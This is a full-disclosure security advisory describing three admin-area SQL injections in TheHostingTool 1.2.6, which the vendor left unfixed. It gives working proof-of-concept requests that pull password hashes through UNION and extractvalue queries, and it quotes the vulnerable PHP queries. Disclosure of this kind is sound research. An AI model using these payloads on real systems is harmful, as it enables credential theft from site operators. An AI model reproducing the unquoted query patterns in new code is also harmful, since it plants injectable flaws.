TheHostingTool version 1.2.6 suffers from a remote SQL injection vulnerability.
461869f2eed05289c8d027b2060643dcc2cdf7d04e3af495128646ba26cb7c48
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: TheHostingTool 1.2.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: https://thehostingtool.com/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/07/2015
Disclosed to public: 10/07/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Description
There are three SQL Injections in the admin area of TheHostingTool 1.2.6.
The problem is that the defense against SQL Injection depends in part on the
global GET and POST variables being sanitized using mysql_real_escape_string if
accessed via postvar or getvar.
This makes them relatively safe to use in a query if the parameter is
surrounded by quotes. But for places where the parameter is not surrounded by
quotes, this will not prevent SQL injection.
Please note that admin credentials are required for all SQL injections shown
here.
3. Details
SQL Injection 1
The POST value "type" is used as the column name in a WHERE clause when using
the ajax search. Encoding single quotes does not prevent SQL injection in this
case.
It should also be noted that letting the user choose the column of a LIKE query
on a user table is not a good idea in general, as it will be easy to iterate
passwords this way.
Proof of Concept:
POST http://localhost/ecommerce/THTv1.2.6/includes/ajax.php?function=search
type=user` %3D 1 union all select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from tht_users %23&value=test
Code:
includes/ajax.php
public function search() {
global $main, $db, $style;
if($_SESSION['logged']) {
//echo '<script type="text/javascript" src="'.URL.'includes/javascript/jquerytooltip.js">';
$type = $main->postvar['type'];
$value = $main->postvar['value'];
if($main->postvar['num']) {
$show = $main->postvar['num'];
} else {
$show = 10;
}
if($main->postvar['page'] != 1) {
$lower = $main->postvar['page'] * $show;
$lower = $lower - $show;
$upper = $lower + $show;
} else {
$lower = 0;
$upper = $show;
}
$query = $db->query("SELECT * FROM `<PRE>users`, `<PRE>user_packs` WHERE `{$type}` LIKE '%{$value}%' AND <PRE>user_packs.userid = <PRE>users.id ORDER BY `{$type}` ASC LIMIT {$lower}, {$upper}");
SQL Injection 2
The POST value "order" is used in an update query of an ajax request. Single
quotes are encoded, but the parameter is not surrounded by single quotes, thus
making it unnecessary for an attacker to use single quotes, as they do not have
to break out of the context of a string.
Proof of Concept:
POST http://localhost/ecommerce/THTv1.2.6/includes/ajax.php?function=navbar&action=order
order=1-0 or extractvalue(1,concat(0x7e,(SELECT concat(password) FROM mysql.user limit 0,1)))
Code:
includes/ajax.php
case "order":
if(isset($P['order'])) {
$ids = explode("-", $main->getvar['order']);
$i = 0;
foreach($ids as $id) {
echo "updating: " . "UPDATE `navbar` SET `order` = {$i} WHERE `id` = {$id}";
$db->query("UPDATE `
navbar` SET `order` = {$i} WHERE `id` = {$id}");
$i++;
}
}
break;
SQL Injection 3
When updating the payment status of invoices, the "iid" GET parameter is put
directly into multiple queries.
Proof of Concept:
http://ecommerce/THTv1.2.6/admin/?page=invoices&pay&iid=1' or extractvalue(1,concat(0x7e,(SELECT concat(password) FROM mysql.user limit 0,1))) %23
Code:
includes/class_invoice.php
public function set_paid($iid) { # Pay the invoice by giving invoice id
global $db, $server;
$query = $db->query("UPDATE `<PRE>invoices` SET `is_paid` = '1' WHERE `id` = '{$iid}'");
$query2 = $db->query("SELECT `uid` FROM `<PRE>invoices` WHERE `id` = '{$iid}' LIMIT 1");
$data2 = $db->fetch_array($query2);
$query3 = $db->query("SELECT `id` FROM `<PRE>user_packs` WHERE `userid` = '{$data2['uid']}'");
$data3 = $db->fetch_array($query3);
$server->unsuspend($data3['id']);
return $query;
}
admin/pages/invoices.php
$invoice->set_paid($_GET['iid']);
4. Solution
This issue has not been fixed
5. Report Timeline
09/07/2015 Informed Vendor about Issue (no reply)
09/22/2015 Reminded Vendor of disclosure date (no reply)
10/07/2015 Disclosed to public
Blog Reference:
http://blog.curesec.com/article/blog/TheHostingTool-126-Multiple-SQL-Injection-77.html